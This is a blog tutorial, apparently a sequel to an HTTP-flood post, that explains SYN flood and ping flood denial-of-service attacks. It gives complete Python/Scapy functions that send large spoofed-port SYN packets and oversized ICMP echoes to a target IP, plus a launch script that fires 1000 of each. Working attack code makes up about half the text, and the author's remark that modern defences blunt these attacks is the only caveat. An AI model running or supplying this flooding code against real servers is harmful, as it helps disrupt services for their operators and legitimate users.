Following up on my previous experiments with HTTP flood we’re now gonna dive a little bit deeper and try two not so obvious flood attacks. To implement these attacks we’ll need something more versatile than basic HTTP libraries this time. We will require packet manipulation, and this is where Scapy comes into play! Needless to say Scapy is probably the most powerful networking tool available for Python. But be aware that this is not gonna be a complete introduction to Scapy, if you want to get familiar with it - please look for other tutorials. There’s also a lot of theoretical material out there about these attacks, so I’m not gonna bore with too many details, I will just show you the code and you can google the rest.
Please note that both of these attacks are pretty well-known, and most modern security systems have countermeasures in place to render these attacks ineffective.
SYN flood
The idea behind SYN flood is to send lots of TCP SYN packets, basically initiating the TCP’s three-way-handshake, which is the cornerstone of any connection established with TCP. When the client sends SYN packet to the server - the server will send back SYN-ACK packet and will expect to get back an ACK packet reply from the client. Which never happens in this attack. The attacker only send the first part of TCP’s handshake, only the SYN packet. The server replies and remains waiting for an acknowledgement, as some delays in client’s response are expected by the server (if you have slow network connection for example). This results in a half-opened connection created by the attacker. And when properly implemented and scaled as a part of distributed attacks - SYN flood can cause connection issues to legitimate clients.
Attack implementation is pretty straight-forward, we build a TCP SYN packet of size X, with a random port on the client’s side, and send it N times to targeted server’s IP/port.
1def send_syn(target_ip_address: str, target_port: int, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):2 ip = IP(dst=target_ip_address)3 tcp = TCP(sport=RandShort(), dport=target_port, flags="S")4 raw = Raw(b"X" * size_of_packet)5 p = ip / tcp / raw6 send(p, count=number_of_packets_to_send, verbose=0)7 print('send_syn(): Sent ' + str(number_of_packets_to_send) + ' packets of ' + str(size_of_packet) + ' size to ' + target_ip_address + ' on port ' + str(target_port))
Ping flood
If you ever worked with web projects you know that one of the first steps in diagnosing any server related issues is to check whether the server is even alive.
Welcome the ping
command!

Working server's response to ping

The server doesn't respond to ping
What you may not know is that ping works on a separate ICMP protocol, and it’s designed to reply back to you with packets of the same size. So when you send a ping packet the server will respond with an “echo” packet. It comes as no surprise that when scaled and distributed ping flood has the potential to consume both incoming and outgoing bandwidth of the server.
The code is very similar to SYN flood, except now we build ICMP packet instead of TCP.
1def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):2 ip = IP(dst=target_ip_address)3 icmp = ICMP()4 raw = Raw(b"X" * size_of_packet)5 p = ip / icmp / raw6 send(p, count=number_of_packets_to_send, verbose=0)7 print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)
Running and comparing the attacks
With the two functions ready we can launch the attacks:
1ip = "X.X.X.X"2port = 4433send_syn(ip, port, number_of_packets_to_send=1000)4send_ping(ip, number_of_packets_to_send=1000)
If you monitor your network activity you will see how this attack consumes your bandwidth. In my case my internet connection can usually handle around 80-100Mbit/s incoming and 23-29Mbit/s outgoing traffic. These attacks push my outgoing speed to its limit.

Attacker's network load when running SYN and ping flood
You can also note that SYN attack produces only outgoing traffic, but ping attack results in incoming traffic as well, which is almost identical to the outgoing. These are precisely the “echo” packets that are sent back from the server.
Depending on your PC/network you might benefit from running these attacks in parallel from the same machine, but for most regular PCs it won’t yield any significant results.
That’s it for today’s article, thanks for reading! The complete code fragment that was used in this tutorial:
1from scapy.layers.inet import IP, TCP, ICMP2from scapy.packet import Raw3from scapy.sendrecv import send4from scapy.volatile import RandShort567def send_syn(target_ip_address: str, target_port: int, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):8 ip = IP(dst=target_ip_address)9 tcp = TCP(sport=RandShort(), dport=target_port, flags="S")10 raw = Raw(b"X" * size_of_packet)11 p = ip / tcp / raw12 send(p, count=number_of_packets_to_send, verbose=0)13 print('send_syn(): Sent ' + str(number_of_packets_to_send) + ' packets of ' + str(size_of_packet) + ' size to ' + target_ip_address + ' on port ' + str(target_port))141516def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):17 ip = IP(dst=target_ip_address)18 icmp = ICMP()19 raw = Raw(b"X" * size_of_packet)20 p = ip / icmp / raw21 send(p, count=number_of_packets_to_send, verbose=0)22 print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)232425ip = "X.X.X.X"26port = 44327send_syn(ip, port, number_of_packets_to_send=1000)28send_ping(ip, number_of_packets_to_send=1000)
In case you’d like to check my other work or contact me: